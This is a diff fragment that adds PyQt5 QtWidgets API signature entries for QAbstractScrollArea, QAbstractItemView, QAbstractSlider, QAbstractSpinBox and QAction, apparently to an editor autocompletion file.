+QtWidgets.QAbstractScrollArea.SizeAdjustPolicy.AdjustIgnored?10 +QtWidgets.QAbstractScrollArea.SizeAdjustPolicy.AdjustToContentsOnFirstShow?10 +QtWidgets.QAbstractScrollArea.SizeAdjustPolicy.AdjustToContents?10 +QtWidgets.QAbstractScrollArea?1(QWidget parent=None) +QtWidgets.QAbstractScrollArea.__init__?1(self, QWidget parent=None) +QtWidgets.QAbstractScrollArea.verticalScrollBarPolicy?4() -> Qt.ScrollBarPolicy +QtWidgets.QAbstractScrollArea.setVerticalScrollBarPolicy?4(Qt.ScrollBarPolicy) +QtWidgets.QAbstractScrollArea.verticalScrollBar?4() -> QScrollBar +QtWidgets.QAbstractScrollArea.horizontalScrollBarPolicy?4() -> Qt.ScrollBarPolicy +QtWidgets.QAbstractScrollArea.setHorizontalScrollBarPolicy?4(Qt.ScrollBarPolicy) +QtWidgets.QAbstractScrollArea.horizontalScrollBar?4() -> QScrollBar +QtWidgets.QAbstractScrollArea.viewport?4() -> QWidget +QtWidgets.QAbstractScrollArea.maximumViewportSize?4() -> QSize +QtWidgets.QAbstractScrollArea.minimumSizeHint?4() -> QSize +QtWidgets.QAbstractScrollArea.sizeHint?4() -> QSize +QtWidgets.QAbstractScrollArea.setViewportMargins?4(int, int, int, int) +QtWidgets.QAbstractScrollArea.setViewportMargins?4(QMargins) +QtWidgets.QAbstractScrollArea.viewportMargins?4() -> QMargins +QtWidgets.QAbstractScrollArea.viewportSizeHint?4() -> QSize +QtWidgets.QAbstractScrollArea.event?4(QEvent) -> bool +QtWidgets.QAbstractScrollArea.viewportEvent?4(QEvent) -> bool +QtWidgets.QAbstractScrollArea.resizeEvent?4(QResizeEvent) +QtWidgets.QAbstractScrollArea.paintEvent?4(QPaintEvent) +QtWidgets.QAbstractScrollArea.mousePressEvent?4(QMouseEvent) +QtWidgets.QAbstractScrollArea.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QAbstractScrollArea.mouseDoubleClickEvent?4(QMouseEvent) +QtWidgets.QAbstractScrollArea.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QAbstractScrollArea.wheelEvent?4(QWheelEvent) +QtWidgets.QAbstractScrollArea.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QAbstractScrollArea.dragEnterEvent?4(QDragEnterEvent) +QtWidgets.QAbstractScrollArea.dragMoveEvent?4(QDragMoveEvent) +QtWidgets.QAbstractScrollArea.dragLeaveEvent?4(QDragLeaveEvent) +QtWidgets.QAbstractScrollArea.dropEvent?4(QDropEvent) +QtWidgets.QAbstractScrollArea.keyPressEvent?4(QKeyEvent) +QtWidgets.QAbstractScrollArea.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QAbstractScrollArea.scrollContentsBy?4(int, int) +QtWidgets.QAbstractScrollArea.setVerticalScrollBar?4(QScrollBar) +QtWidgets.QAbstractScrollArea.setHorizontalScrollBar?4(QScrollBar) +QtWidgets.QAbstractScrollArea.cornerWidget?4() -> QWidget +QtWidgets.QAbstractScrollArea.setCornerWidget?4(QWidget) +QtWidgets.QAbstractScrollArea.addScrollBarWidget?4(QWidget, Qt.Alignment) +QtWidgets.QAbstractScrollArea.scrollBarWidgets?4(Qt.Alignment) -> unknown-type +QtWidgets.QAbstractScrollArea.setViewport?4(QWidget) +QtWidgets.QAbstractScrollArea.setupViewport?4(QWidget) +QtWidgets.QAbstractScrollArea.sizeAdjustPolicy?4() -> QAbstractScrollArea.SizeAdjustPolicy +QtWidgets.QAbstractScrollArea.setSizeAdjustPolicy?4(QAbstractScrollArea.SizeAdjustPolicy) +QtWidgets.QAbstractItemView.DropIndicatorPosition?10 +QtWidgets.QAbstractItemView.DropIndicatorPosition.OnItem?10 +QtWidgets.QAbstractItemView.DropIndicatorPosition.AboveItem?10 +QtWidgets.QAbstractItemView.DropIndicatorPosition.BelowItem?10 +QtWidgets.QAbstractItemView.DropIndicatorPosition.OnViewport?10 +QtWidgets.QAbstractItemView.State?10 +QtWidgets.QAbstractItemView.State.NoState?10 +QtWidgets.QAbstractItemView.State.DraggingState?10 +QtWidgets.QAbstractItemView.State.DragSelectingState?10 +QtWidgets.QAbstractItemView.State.EditingState?10 +QtWidgets.QAbstractItemView.State.ExpandingState?10 +QtWidgets.QAbstractItemView.State.CollapsingState?10 +QtWidgets.QAbstractItemView.State.AnimatingState?10 +QtWidgets.QAbstractItemView.CursorAction?10 +QtWidgets.QAbstractItemView.CursorAction.MoveUp?10 +QtWidgets.QAbstractItemView.CursorAction.MoveDown?10 +QtWidgets.QAbstractItemView.CursorAction.MoveLeft?10 +QtWidgets.QAbstractItemView.CursorAction.MoveRight?10 +QtWidgets.QAbstractItemView.CursorAction.MoveHome?10 +QtWidgets.QAbstractItemView.CursorAction.MoveEnd?10 +QtWidgets.QAbstractItemView.CursorAction.MovePageUp?10 +QtWidgets.QAbstractItemView.CursorAction.MovePageDown?10 +QtWidgets.QAbstractItemView.CursorAction.MoveNext?10 +QtWidgets.QAbstractItemView.CursorAction.MovePrevious?10 +QtWidgets.QAbstractItemView.SelectionMode?10 +QtWidgets.QAbstractItemView.SelectionMode.NoSelection?10 +QtWidgets.QAbstractItemView.SelectionMode.SingleSelection?10 +QtWidgets.QAbstractItemView.SelectionMode.MultiSelection?10 +QtWidgets.QAbstractItemView.SelectionMode.ExtendedSelection?10 +QtWidgets.QAbstractItemView.SelectionMode.ContiguousSelection?10 +QtWidgets.QAbstractItemView.SelectionBehavior?10 +QtWidgets.QAbstractItemView.SelectionBehavior.SelectItems?10 +QtWidgets.QAbstractItemView.SelectionBehavior.SelectRows?10 +QtWidgets.QAbstractItemView.SelectionBehavior.SelectColumns?10 +QtWidgets.QAbstractItemView.ScrollMode?10 +QtWidgets.QAbstractItemView.ScrollMode.ScrollPerItem?10 +QtWidgets.QAbstractItemView.ScrollMode.ScrollPerPixel?10 +QtWidgets.QAbstractItemView.ScrollHint?10 +QtWidgets.QAbstractItemView.ScrollHint.EnsureVisible?10 +QtWidgets.QAbstractItemView.ScrollHint.PositionAtTop?10 +QtWidgets.QAbstractItemView.ScrollHint.PositionAtBottom?10 +QtWidgets.QAbstractItemView.ScrollHint.PositionAtCenter?10 +QtWidgets.QAbstractItemView.EditTrigger?10 +QtWidgets.QAbstractItemView.EditTrigger.NoEditTriggers?10 +QtWidgets.QAbstractItemView.EditTrigger.CurrentChanged?10 +QtWidgets.QAbstractItemView.EditTrigger.DoubleClicked?10 +QtWidgets.QAbstractItemView.EditTrigger.SelectedClicked?10 +QtWidgets.QAbstractItemView.EditTrigger.EditKeyPressed?10 +QtWidgets.QAbstractItemView.EditTrigger.AnyKeyPressed?10 +QtWidgets.QAbstractItemView.EditTrigger.AllEditTriggers?10 +QtWidgets.QAbstractItemView.DragDropMode?10 +QtWidgets.QAbstractItemView.DragDropMode.NoDragDrop?10 +QtWidgets.QAbstractItemView.DragDropMode.DragOnly?10 +QtWidgets.QAbstractItemView.DragDropMode.DropOnly?10 +QtWidgets.QAbstractItemView.DragDropMode.DragDrop?10 +QtWidgets.QAbstractItemView.DragDropMode.InternalMove?10 +QtWidgets.QAbstractItemView?1(QWidget parent=None) +QtWidgets.QAbstractItemView.__init__?1(self, QWidget parent=None) +QtWidgets.QAbstractItemView.setModel?4(QAbstractItemModel) +QtWidgets.QAbstractItemView.model?4() -> QAbstractItemModel +QtWidgets.QAbstractItemView.setSelectionModel?4(QItemSelectionModel) +QtWidgets.QAbstractItemView.selectionModel?4() -> QItemSelectionModel +QtWidgets.QAbstractItemView.setItemDelegate?4(QAbstractItemDelegate) +QtWidgets.QAbstractItemView.itemDelegate?4() -> QAbstractItemDelegate +QtWidgets.QAbstractItemView.setSelectionMode?4(QAbstractItemView.SelectionMode) +QtWidgets.QAbstractItemView.selectionMode?4() -> QAbstractItemView.SelectionMode +QtWidgets.QAbstractItemView.setSelectionBehavior?4(QAbstractItemView.SelectionBehavior) +QtWidgets.QAbstractItemView.selectionBehavior?4() -> QAbstractItemView.SelectionBehavior +QtWidgets.QAbstractItemView.currentIndex?4() -> QModelIndex +QtWidgets.QAbstractItemView.rootIndex?4() -> QModelIndex +QtWidgets.QAbstractItemView.setEditTriggers?4(QAbstractItemView.EditTriggers) +QtWidgets.QAbstractItemView.editTriggers?4() -> QAbstractItemView.EditTriggers +QtWidgets.QAbstractItemView.setAutoScroll?4(bool) +QtWidgets.QAbstractItemView.hasAutoScroll?4() -> bool +QtWidgets.QAbstractItemView.setTabKeyNavigation?4(bool) +QtWidgets.QAbstractItemView.tabKeyNavigation?4() -> bool +QtWidgets.QAbstractItemView.setDropIndicatorShown?4(bool) +QtWidgets.QAbstractItemView.showDropIndicator?4() -> bool +QtWidgets.QAbstractItemView.setDragEnabled?4(bool) +QtWidgets.QAbstractItemView.dragEnabled?4() -> bool +QtWidgets.QAbstractItemView.setAlternatingRowColors?4(bool) +QtWidgets.QAbstractItemView.alternatingRowColors?4() -> bool +QtWidgets.QAbstractItemView.setIconSize?4(QSize) +QtWidgets.QAbstractItemView.iconSize?4() -> QSize +QtWidgets.QAbstractItemView.setTextElideMode?4(Qt.TextElideMode) +QtWidgets.QAbstractItemView.textElideMode?4() -> Qt.TextElideMode +QtWidgets.QAbstractItemView.keyboardSearch?4(QString) +QtWidgets.QAbstractItemView.visualRect?4(QModelIndex) -> QRect +QtWidgets.QAbstractItemView.scrollTo?4(QModelIndex, QAbstractItemView.ScrollHint hint=QAbstractItemView.EnsureVisible) +QtWidgets.QAbstractItemView.indexAt?4(QPoint) -> QModelIndex +QtWidgets.QAbstractItemView.sizeHintForIndex?4(QModelIndex) -> QSize +QtWidgets.QAbstractItemView.sizeHintForRow?4(int) -> int +QtWidgets.QAbstractItemView.sizeHintForColumn?4(int) -> int +QtWidgets.QAbstractItemView.openPersistentEditor?4(QModelIndex) +QtWidgets.QAbstractItemView.closePersistentEditor?4(QModelIndex) +QtWidgets.QAbstractItemView.setIndexWidget?4(QModelIndex, QWidget) +QtWidgets.QAbstractItemView.indexWidget?4(QModelIndex) -> QWidget +QtWidgets.QAbstractItemView.reset?4() +QtWidgets.QAbstractItemView.setRootIndex?4(QModelIndex) +QtWidgets.QAbstractItemView.selectAll?4() +QtWidgets.QAbstractItemView.edit?4(QModelIndex) +QtWidgets.QAbstractItemView.clearSelection?4() +QtWidgets.QAbstractItemView.setCurrentIndex?4(QModelIndex) +QtWidgets.QAbstractItemView.scrollToTop?4() +QtWidgets.QAbstractItemView.scrollToBottom?4() +QtWidgets.QAbstractItemView.update?4() +QtWidgets.QAbstractItemView.update?4(QModelIndex) +QtWidgets.QAbstractItemView.dataChanged?4(QModelIndex, QModelIndex, unknown-type roles=[]) +QtWidgets.QAbstractItemView.rowsInserted?4(QModelIndex, int, int) +QtWidgets.QAbstractItemView.rowsAboutToBeRemoved?4(QModelIndex, int, int) +QtWidgets.QAbstractItemView.selectionChanged?4(QItemSelection, QItemSelection) +QtWidgets.QAbstractItemView.currentChanged?4(QModelIndex, QModelIndex) +QtWidgets.QAbstractItemView.updateEditorData?4() +QtWidgets.QAbstractItemView.updateEditorGeometries?4() +QtWidgets.QAbstractItemView.updateGeometries?4() +QtWidgets.QAbstractItemView.verticalScrollbarAction?4(int) +QtWidgets.QAbstractItemView.horizontalScrollbarAction?4(int) +QtWidgets.QAbstractItemView.verticalScrollbarValueChanged?4(int) +QtWidgets.QAbstractItemView.horizontalScrollbarValueChanged?4(int) +QtWidgets.QAbstractItemView.closeEditor?4(QWidget, QAbstractItemDelegate.EndEditHint) +QtWidgets.QAbstractItemView.commitData?4(QWidget) +QtWidgets.QAbstractItemView.editorDestroyed?4(QObject) +QtWidgets.QAbstractItemView.pressed?4(QModelIndex) +QtWidgets.QAbstractItemView.clicked?4(QModelIndex) +QtWidgets.QAbstractItemView.doubleClicked?4(QModelIndex) +QtWidgets.QAbstractItemView.activated?4(QModelIndex) +QtWidgets.QAbstractItemView.entered?4(QModelIndex) +QtWidgets.QAbstractItemView.viewportEntered?4() +QtWidgets.QAbstractItemView.iconSizeChanged?4(QSize) +QtWidgets.QAbstractItemView.moveCursor?4(QAbstractItemView.CursorAction, Qt.KeyboardModifiers) -> QModelIndex +QtWidgets.QAbstractItemView.horizontalOffset?4() -> int +QtWidgets.QAbstractItemView.verticalOffset?4() -> int +QtWidgets.QAbstractItemView.isIndexHidden?4(QModelIndex) -> bool +QtWidgets.QAbstractItemView.setSelection?4(QRect, QItemSelectionModel.SelectionFlags) +QtWidgets.QAbstractItemView.visualRegionForSelection?4(QItemSelection) -> QRegion +QtWidgets.QAbstractItemView.selectedIndexes?4() -> unknown-type +QtWidgets.QAbstractItemView.edit?4(QModelIndex, QAbstractItemView.EditTrigger, QEvent) -> bool +QtWidgets.QAbstractItemView.selectionCommand?4(QModelIndex, QEvent event=None) -> QItemSelectionModel.SelectionFlags +QtWidgets.QAbstractItemView.startDrag?4(Qt.DropActions) +QtWidgets.QAbstractItemView.viewOptions?4() -> QStyleOptionViewItem +QtWidgets.QAbstractItemView.state?4() -> QAbstractItemView.State +QtWidgets.QAbstractItemView.setState?4(QAbstractItemView.State) +QtWidgets.QAbstractItemView.scheduleDelayedItemsLayout?4() +QtWidgets.QAbstractItemView.executeDelayedItemsLayout?4() +QtWidgets.QAbstractItemView.scrollDirtyRegion?4(int, int) +QtWidgets.QAbstractItemView.setDirtyRegion?4(QRegion) +QtWidgets.QAbstractItemView.dirtyRegionOffset?4() -> QPoint +QtWidgets.QAbstractItemView.event?4(QEvent) -> bool +QtWidgets.QAbstractItemView.viewportEvent?4(QEvent) -> bool +QtWidgets.QAbstractItemView.mousePressEvent?4(QMouseEvent) +QtWidgets.QAbstractItemView.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QAbstractItemView.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QAbstractItemView.mouseDoubleClickEvent?4(QMouseEvent) +QtWidgets.QAbstractItemView.dragEnterEvent?4(QDragEnterEvent) +QtWidgets.QAbstractItemView.dragMoveEvent?4(QDragMoveEvent) +QtWidgets.QAbstractItemView.dragLeaveEvent?4(QDragLeaveEvent) +QtWidgets.QAbstractItemView.dropEvent?4(QDropEvent) +QtWidgets.QAbstractItemView.focusInEvent?4(QFocusEvent) +QtWidgets.QAbstractItemView.focusOutEvent?4(QFocusEvent) +QtWidgets.QAbstractItemView.keyPressEvent?4(QKeyEvent) +QtWidgets.QAbstractItemView.resizeEvent?4(QResizeEvent) +QtWidgets.QAbstractItemView.timerEvent?4(QTimerEvent) +QtWidgets.QAbstractItemView.dropIndicatorPosition?4() -> QAbstractItemView.DropIndicatorPosition +QtWidgets.QAbstractItemView.setVerticalScrollMode?4(QAbstractItemView.ScrollMode) +QtWidgets.QAbstractItemView.verticalScrollMode?4() -> QAbstractItemView.ScrollMode +QtWidgets.QAbstractItemView.setHorizontalScrollMode?4(QAbstractItemView.ScrollMode) +QtWidgets.QAbstractItemView.horizontalScrollMode?4() -> QAbstractItemView.ScrollMode +QtWidgets.QAbstractItemView.setDragDropOverwriteMode?4(bool) +QtWidgets.QAbstractItemView.dragDropOverwriteMode?4() -> bool +QtWidgets.QAbstractItemView.setDragDropMode?4(QAbstractItemView.DragDropMode) +QtWidgets.QAbstractItemView.dragDropMode?4() -> QAbstractItemView.DragDropMode +QtWidgets.QAbstractItemView.setItemDelegateForRow?4(int, QAbstractItemDelegate) +QtWidgets.QAbstractItemView.itemDelegateForRow?4(int) -> QAbstractItemDelegate +QtWidgets.QAbstractItemView.setItemDelegateForColumn?4(int, QAbstractItemDelegate) +QtWidgets.QAbstractItemView.itemDelegateForColumn?4(int) -> QAbstractItemDelegate +QtWidgets.QAbstractItemView.itemDelegate?4(QModelIndex) -> QAbstractItemDelegate +QtWidgets.QAbstractItemView.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QAbstractItemView.setAutoScrollMargin?4(int) +QtWidgets.QAbstractItemView.autoScrollMargin?4() -> int +QtWidgets.QAbstractItemView.focusNextPrevChild?4(bool) -> bool +QtWidgets.QAbstractItemView.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QAbstractItemView.viewportSizeHint?4() -> QSize +QtWidgets.QAbstractItemView.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QAbstractItemView.setDefaultDropAction?4(Qt.DropAction) +QtWidgets.QAbstractItemView.defaultDropAction?4() -> Qt.DropAction +QtWidgets.QAbstractItemView.resetVerticalScrollMode?4() +QtWidgets.QAbstractItemView.resetHorizontalScrollMode?4() +QtWidgets.QAbstractItemView.isPersistentEditorOpen?4(QModelIndex) -> bool +QtWidgets.QAbstractItemView.EditTriggers?1() +QtWidgets.QAbstractItemView.EditTriggers.__init__?1(self) +QtWidgets.QAbstractItemView.EditTriggers?1(int) +QtWidgets.QAbstractItemView.EditTriggers.__init__?1(self, int) +QtWidgets.QAbstractItemView.EditTriggers?1(QAbstractItemView.EditTriggers) +QtWidgets.QAbstractItemView.EditTriggers.__init__?1(self, QAbstractItemView.EditTriggers) +QtWidgets.QAbstractSlider.SliderChange?10 +QtWidgets.QAbstractSlider.SliderChange.SliderRangeChange?10 +QtWidgets.QAbstractSlider.SliderChange.SliderOrientationChange?10 +QtWidgets.QAbstractSlider.SliderChange.SliderStepsChange?10 +QtWidgets.QAbstractSlider.SliderChange.SliderValueChange?10 +QtWidgets.QAbstractSlider.SliderAction?10 +QtWidgets.QAbstractSlider.SliderAction.SliderNoAction?10 +QtWidgets.QAbstractSlider.SliderAction.SliderSingleStepAdd?10 +QtWidgets.QAbstractSlider.SliderAction.SliderSingleStepSub?10 +QtWidgets.QAbstractSlider.SliderAction.SliderPageStepAdd?10 +QtWidgets.QAbstractSlider.SliderAction.SliderPageStepSub?10 +QtWidgets.QAbstractSlider.SliderAction.SliderToMinimum?10 +QtWidgets.QAbstractSlider.SliderAction.SliderToMaximum?10 +QtWidgets.QAbstractSlider.SliderAction.SliderMove?10 +QtWidgets.QAbstractSlider?1(QWidget parent=None) +QtWidgets.QAbstractSlider.__init__?1(self, QWidget parent=None) +QtWidgets.QAbstractSlider.orientation?4() -> Qt.Orientation +QtWidgets.QAbstractSlider.setMinimum?4(int) +QtWidgets.QAbstractSlider.minimum?4() -> int +QtWidgets.QAbstractSlider.setMaximum?4(int) +QtWidgets.QAbstractSlider.maximum?4() -> int +QtWidgets.QAbstractSlider.setRange?4(int, int) +QtWidgets.QAbstractSlider.setSingleStep?4(int) +QtWidgets.QAbstractSlider.singleStep?4() -> int +QtWidgets.QAbstractSlider.setPageStep?4(int) +QtWidgets.QAbstractSlider.pageStep?4() -> int +QtWidgets.QAbstractSlider.setTracking?4(bool) +QtWidgets.QAbstractSlider.hasTracking?4() -> bool +QtWidgets.QAbstractSlider.setSliderDown?4(bool) +QtWidgets.QAbstractSlider.isSliderDown?4() -> bool +QtWidgets.QAbstractSlider.setSliderPosition?4(int) +QtWidgets.QAbstractSlider.sliderPosition?4() -> int +QtWidgets.QAbstractSlider.setInvertedAppearance?4(bool) +QtWidgets.QAbstractSlider.invertedAppearance?4() -> bool +QtWidgets.QAbstractSlider.setInvertedControls?4(bool) +QtWidgets.QAbstractSlider.invertedControls?4() -> bool +QtWidgets.QAbstractSlider.value?4() -> int +QtWidgets.QAbstractSlider.triggerAction?4(QAbstractSlider.SliderAction) +QtWidgets.QAbstractSlider.setValue?4(int) +QtWidgets.QAbstractSlider.setOrientation?4(Qt.Orientation) +QtWidgets.QAbstractSlider.valueChanged?4(int) +QtWidgets.QAbstractSlider.sliderPressed?4() +QtWidgets.QAbstractSlider.sliderMoved?4(int) +QtWidgets.QAbstractSlider.sliderReleased?4() +QtWidgets.QAbstractSlider.rangeChanged?4(int, int) +QtWidgets.QAbstractSlider.actionTriggered?4(int) +QtWidgets.QAbstractSlider.setRepeatAction?4(QAbstractSlider.SliderAction, int thresholdTime=500, int repeatTime=50) +QtWidgets.QAbstractSlider.repeatAction?4() -> QAbstractSlider.SliderAction +QtWidgets.QAbstractSlider.sliderChange?4(QAbstractSlider.SliderChange) +QtWidgets.QAbstractSlider.event?4(QEvent) -> bool +QtWidgets.QAbstractSlider.keyPressEvent?4(QKeyEvent) +QtWidgets.QAbstractSlider.timerEvent?4(QTimerEvent) +QtWidgets.QAbstractSlider.wheelEvent?4(QWheelEvent) +QtWidgets.QAbstractSlider.changeEvent?4(QEvent) +QtWidgets.QAbstractSpinBox.StepType?10 +QtWidgets.QAbstractSpinBox.StepType.DefaultStepType?10 +QtWidgets.QAbstractSpinBox.StepType.AdaptiveDecimalStepType?10 +QtWidgets.QAbstractSpinBox.CorrectionMode?10 +QtWidgets.QAbstractSpinBox.CorrectionMode.CorrectToPreviousValue?10 +QtWidgets.QAbstractSpinBox.CorrectionMode.CorrectToNearestValue?10 +QtWidgets.QAbstractSpinBox.ButtonSymbols?10 +QtWidgets.QAbstractSpinBox.ButtonSymbols.UpDownArrows?10 +QtWidgets.QAbstractSpinBox.ButtonSymbols.PlusMinus?10 +QtWidgets.QAbstractSpinBox.ButtonSymbols.NoButtons?10 +QtWidgets.QAbstractSpinBox.StepEnabledFlag?10 +QtWidgets.QAbstractSpinBox.StepEnabledFlag.StepNone?10 +QtWidgets.QAbstractSpinBox.StepEnabledFlag.StepUpEnabled?10 +QtWidgets.QAbstractSpinBox.StepEnabledFlag.StepDownEnabled?10 +QtWidgets.QAbstractSpinBox?1(QWidget parent=None) +QtWidgets.QAbstractSpinBox.__init__?1(self, QWidget parent=None) +QtWidgets.QAbstractSpinBox.buttonSymbols?4() -> QAbstractSpinBox.ButtonSymbols +QtWidgets.QAbstractSpinBox.setButtonSymbols?4(QAbstractSpinBox.ButtonSymbols) +QtWidgets.QAbstractSpinBox.text?4() -> QString +QtWidgets.QAbstractSpinBox.specialValueText?4() -> QString +QtWidgets.QAbstractSpinBox.setSpecialValueText?4(QString) +QtWidgets.QAbstractSpinBox.wrapping?4() -> bool +QtWidgets.QAbstractSpinBox.setWrapping?4(bool) +QtWidgets.QAbstractSpinBox.setReadOnly?4(bool) +QtWidgets.QAbstractSpinBox.isReadOnly?4() -> bool +QtWidgets.QAbstractSpinBox.setAlignment?4(Qt.Alignment) +QtWidgets.QAbstractSpinBox.alignment?4() -> Qt.Alignment +QtWidgets.QAbstractSpinBox.setFrame?4(bool) +QtWidgets.QAbstractSpinBox.hasFrame?4() -> bool +QtWidgets.QAbstractSpinBox.sizeHint?4() -> QSize +QtWidgets.QAbstractSpinBox.minimumSizeHint?4() -> QSize +QtWidgets.QAbstractSpinBox.interpretText?4() +QtWidgets.QAbstractSpinBox.event?4(QEvent) -> bool +QtWidgets.QAbstractSpinBox.validate?4(QString, int) -> (QValidator.State, QString, int) +QtWidgets.QAbstractSpinBox.fixup?4(QString) -> QString +QtWidgets.QAbstractSpinBox.stepBy?4(int) +QtWidgets.QAbstractSpinBox.stepUp?4() +QtWidgets.QAbstractSpinBox.stepDown?4() +QtWidgets.QAbstractSpinBox.selectAll?4() +QtWidgets.QAbstractSpinBox.clear?4() +QtWidgets.QAbstractSpinBox.editingFinished?4() +QtWidgets.QAbstractSpinBox.resizeEvent?4(QResizeEvent) +QtWidgets.QAbstractSpinBox.keyPressEvent?4(QKeyEvent) +QtWidgets.QAbstractSpinBox.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QAbstractSpinBox.wheelEvent?4(QWheelEvent) +QtWidgets.QAbstractSpinBox.focusInEvent?4(QFocusEvent) +QtWidgets.QAbstractSpinBox.focusOutEvent?4(QFocusEvent) +QtWidgets.QAbstractSpinBox.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QAbstractSpinBox.changeEvent?4(QEvent) +QtWidgets.QAbstractSpinBox.closeEvent?4(QCloseEvent) +QtWidgets.QAbstractSpinBox.hideEvent?4(QHideEvent) +QtWidgets.QAbstractSpinBox.mousePressEvent?4(QMouseEvent) +QtWidgets.QAbstractSpinBox.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QAbstractSpinBox.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QAbstractSpinBox.timerEvent?4(QTimerEvent) +QtWidgets.QAbstractSpinBox.paintEvent?4(QPaintEvent) +QtWidgets.QAbstractSpinBox.showEvent?4(QShowEvent) +QtWidgets.QAbstractSpinBox.lineEdit?4() -> QLineEdit +QtWidgets.QAbstractSpinBox.setLineEdit?4(QLineEdit) +QtWidgets.QAbstractSpinBox.stepEnabled?4() -> QAbstractSpinBox.StepEnabled +QtWidgets.QAbstractSpinBox.initStyleOption?4(QStyleOptionSpinBox) +QtWidgets.QAbstractSpinBox.setCorrectionMode?4(QAbstractSpinBox.CorrectionMode) +QtWidgets.QAbstractSpinBox.correctionMode?4() -> QAbstractSpinBox.CorrectionMode +QtWidgets.QAbstractSpinBox.hasAcceptableInput?4() -> bool +QtWidgets.QAbstractSpinBox.setAccelerated?4(bool) +QtWidgets.QAbstractSpinBox.isAccelerated?4() -> bool +QtWidgets.QAbstractSpinBox.setKeyboardTracking?4(bool) +QtWidgets.QAbstractSpinBox.keyboardTracking?4() -> bool +QtWidgets.QAbstractSpinBox.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QAbstractSpinBox.setGroupSeparatorShown?4(bool) +QtWidgets.QAbstractSpinBox.isGroupSeparatorShown?4() -> bool +QtWidgets.QAbstractSpinBox.StepEnabled?1() +QtWidgets.QAbstractSpinBox.StepEnabled.__init__?1(self) +QtWidgets.QAbstractSpinBox.StepEnabled?1(int) +QtWidgets.QAbstractSpinBox.StepEnabled.__init__?1(self, int) +QtWidgets.QAbstractSpinBox.StepEnabled?1(QAbstractSpinBox.StepEnabled) +QtWidgets.QAbstractSpinBox.StepEnabled.__init__?1(self, QAbstractSpinBox.StepEnabled) +QtWidgets.QAction.Priority?10 +QtWidgets.QAction.Priority.LowPriority?10 +QtWidgets.QAction.Priority.NormalPriority?10 +QtWidgets.QAction.Priority.HighPriority?10 +QtWidgets.QAction.MenuRole?10 +QtWidgets.QAction.MenuRole.NoRole?10 +QtWidgets.QAction.MenuRole.TextHeuristicRole?10 +QtWidgets.QAction.MenuRole.ApplicationSpecificRole?10 +QtWidgets.QAction.MenuRole.AboutQtRole?10 +QtWidgets.QAction.MenuRole.AboutRole?10 +QtWidgets.QAction.MenuRole.PreferencesRole?10 +QtWidgets.QAction.MenuRole.QuitRole?10 +QtWidgets.QAction.ActionEvent?10 +QtWidgets.QAction.ActionEvent.Trigger?10 +QtWidgets.QAction.ActionEvent.Hover?10 +QtWidgets.QAction?1(QObject parent=None) +QtWidgets.QAction.__init__?1(self, QObject parent=None) +QtWidgets.QAction?1(QString, QObject parent=None) +QtWidgets.QAction.__init__?1(self, QString, QObject parent=None) +QtWidgets.QAction?1(QIcon, QString, QObject parent=None) +QtWidgets.QAction.__init__?1(self, QIcon, QString, QObject parent=None) +QtWidgets.QAction.setActionGroup?4(QActionGroup) +QtWidgets.QAction.actionGroup?4() -> QActionGroup +QtWidgets.QAction.setIcon?4(QIcon) +QtWidgets.QAction.icon?4() -> QIcon +QtWidgets.QAction.setText?4(QString) +QtWidgets.QAction.text?4() -> QString +QtWidgets.QAction.setIconText?4(QString) +QtWidgets.QAction.iconText?4() -> QString +QtWidgets.QAction.setToolTip?4(QString) +QtWidgets.QAction.toolTip?4() -> QString +QtWidgets.QAction.setStatusTip?4(QString) +QtWidgets.QAction.statusTip?4() -> QString +QtWidgets.QAction.setWhatsThis?4(QString) +QtWidgets.QAction.whatsThis?4() -> QString +QtWidgets.QAction.menu?4() -> QMenu +QtWidgets.QAction.setMenu?4(QMenu) +QtWidgets.QAction.setSeparator?4(bool) +QtWidgets.QAction.isSeparator?4() -> bool +QtWidgets.QAction.setShortcut?4(QKeySequence) +QtWidgets.QAction.shortcut?4() -> QKeySequence +QtWidgets.QAction.setShortcutContext?4(Qt.ShortcutContext) +QtWidgets.QAction.shortcutContext?4() -> Qt.ShortcutContext +QtWidgets.QAction.setFont?4(QFont) +QtWidgets.QAction.font?4() -> QFont +QtWidgets.QAction.setCheckable?4(bool) +QtWidgets.QAction.isCheckable?4() -> bool +QtWidgets.QAction.data?4() -> QVariant +QtWidgets.QAction.setData?4(QVariant) +QtWidgets.QAction.isChecked?4() -> bool +QtWidgets.QAction.isEnabled?4() -> bool +QtWidgets.QAction.isVisible?4() -> bool +QtWidgets.QAction.activate?4(QAction.ActionEvent) +QtWidgets.QAction.showStatusText?4(QWidget widget=None) -> bool +QtWidgets.QAction.parentWidget?4() -> QWidget +QtWidgets.QAction.event?4(QEvent) -> bool +QtWidgets.QAction.trigger?4() +QtWidgets.QAction.hover?4() +QtWidgets.QAction.setChecked?4(bool) +QtWidgets.QAction.toggle?4() +QtWidgets.QAction.setEnabled?4(bool) +QtWidgets.QAction.setDisabled?4(bool) +QtWidgets.QAction.setVisible?4(bool) +QtWidgets.QAction.changed?4() +QtWidgets.QAction.triggered?4(bool checked=False) +QtWidgets.QAction.hovered?4() +QtWidgets.QAction.toggled?4(bool) +QtWidgets.QAction.setShortcuts?4(unknown-type) +QtWidgets.QAction.setShortcuts?4(QKeySequence.StandardKey) +QtWidgets.QAction.shortcuts?4() -> unknown-type +QtWidgets.QAction.setAutoRepeat?4(bool) +QtWidgets.QAction.autoRepeat?4() -> bool +QtWidgets.QAction.setMenuRole?4(QAction.MenuRole) +QtWidgets.QAction.menuRole?4() -> QAction.MenuRole +QtWidgets.QAction.associatedWidgets?4() -> unknown-type +QtWidgets.QAction.associatedGraphicsWidgets?4() -> unknown-type +QtWidgets.QAction.setIconVisibleInMenu?4(bool) +QtWidgets.QAction.isIconVisibleInMenu?4() -> bool +QtWidgets.QAction.setPriority?4(QAction.Priority) +QtWidgets.QAction.priority?4() -> QAction.Priority 